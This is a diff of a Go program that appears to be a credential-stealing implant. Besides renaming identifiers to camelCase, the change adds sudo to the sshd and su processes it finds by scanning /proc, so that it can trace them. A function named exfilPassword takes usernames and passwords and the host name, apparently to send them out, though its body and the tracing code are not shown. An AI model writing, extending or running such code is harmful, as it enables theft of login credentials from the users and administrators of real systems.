@@ -13,8 +13,8 @@ import (
13
13
"time"
14
14
)
15
15
16
- func find_pids () []int {
17
- var sshd_pids []int
16
+ func findPids () []int {
17
+ var sshdPids []int
18
18
currentPID := os .Getpid ()
19
19
procDirs , err := ioutil .ReadDir ("/proc" )
20
20
if err != nil {
@@ -24,30 +24,38 @@ func find_pids() []int {
24
24
if dir .IsDir () {
25
25
pid , err := strconv .Atoi (dir .Name ())
26
26
if err == nil && pid != currentPID {
27
- sshd_pids = append (sshd_pids , pid )
27
+ sshdPids = append (sshdPids , pid )
28
28
}
29
29
}
30
30
}
31
- return sshd_pids
31
+ return sshdPids
32
32
}
33
33
34
- func is_SSH_PID (pid int ) bool {
35
- cmdline , err := ioutil .ReadFile (fmt .Sprintf ("/proc/%d/cmdline" , pid ))
34
+ func isSSHPid (pid int ) bool {
35
+ cmdLine , err := ioutil .ReadFile (fmt .Sprintf ("/proc/%d/cmdline" , pid ))
36
36
if err != nil {
37
37
return false
38
38
}
39
- return regexp .MustCompile (`sshd: ([a-zA-Z]+) \[net\]` ).MatchString (strings .ReplaceAll (string (cmdline ), "\x00 " , " " ))
39
+ return regexp .MustCompile (`sshd: ([a-zA-Z]+) \[net\]` ).MatchString (strings .ReplaceAll (string (cmdLine ), "\x00 " , " " ))
40
40
}
41
41
42
- func is_SU_PID (pid int ) bool {
43
- cmdline , err := ioutil .ReadFile (fmt .Sprintf ("/proc/%d/cmdline" , pid ))
42
+ func isSUPid (pid int ) bool {
43
+ cmdLine , err := ioutil .ReadFile (fmt .Sprintf ("/proc/%d/cmdline" , pid ))
44
44
if err != nil {
45
45
return false
46
46
}
47
- return regexp .MustCompile (`^su ` ).MatchString (strings .ReplaceAll (string (cmdline ), "\x00 " , " " ))
47
+ return regexp .MustCompile (`^su ` ).MatchString (strings .ReplaceAll (string (cmdLine ), "\x00 " , " " ))
48
48
}
49
49
50
- func exfil_password (username , password string ) {
50
+ func isSUDOPid (pid int ) bool {
51
+ cmdLine , err := ioutil .ReadFile (fmt .Sprintf ("/proc/%d/cmdline" , pid ))
52
+ if err != nil {
53
+ return false
54
+ }
55
+ return regexp .MustCompile (`^sudo ` ).MatchString (strings .ReplaceAll (string (cmdLine ), "\x00 " , " " ))
56
+ }
57
+
58
+ func exfilPassword (username , password string ) {
51
59
hostname , err := os .Hostname ()
52
60
if err != nil {
53
61
return
@@ -64,23 +72,23 @@ func exfil_password(username, password string) {
64
72
65
73
func main () {
66
74
var processedFirstPID bool
67
- var processed_pids []int
68
- var processedPIDsMutex sync.Mutex
75
+ var processedPids []int
76
+ var processedPidsMutex sync.Mutex
69
77
70
78
for {
71
- sshdPids := find_pids ()
79
+ sshdPids := findPids ()
72
80
for _ , pid := range sshdPids {
73
- processedPIDsMutex .Lock ()
74
- if is_SSH_PID (pid ) && (! processedFirstPID || ! contains (processed_pids , pid )) {
81
+ processedPidsMutex .Lock ()
82
+ if isSSHPid (pid ) && (! processedFirstPID || ! contains (processedPids , pid )) {
75
83
if ! processedFirstPID {
76
84
processedFirstPID = true
77
85
} else {
78
86
//fmt.Println("SSHD process found with PID:", pid)
79
87
go traceSSHDProcess (pid )
80
- processed_pids = append (processed_pids , pid )
88
+ processedPids = append (processedPids , pid )
81
89
}
82
90
}
83
- if is_SU_PID (pid ) && (! processedFirstPID || ! contains (processed_pids , pid )) {
91
+ if isSUPid (pid ) && (! processedFirstPID || ! contains (processedPids , pid )) {
84
92
if ! processedFirstPID {
85
93
processedFirstPID = true
86
94
} else {
@@ -90,7 +98,7 @@ func main() {
90
98
}
91
99
}
92
100
93
- processedPIDsMutex .Unlock ()
101
+ processedPidsMutex .Unlock ()
94
102
}
95
103
time .Sleep (250 * time .Millisecond )
96
104
}
0 commit comments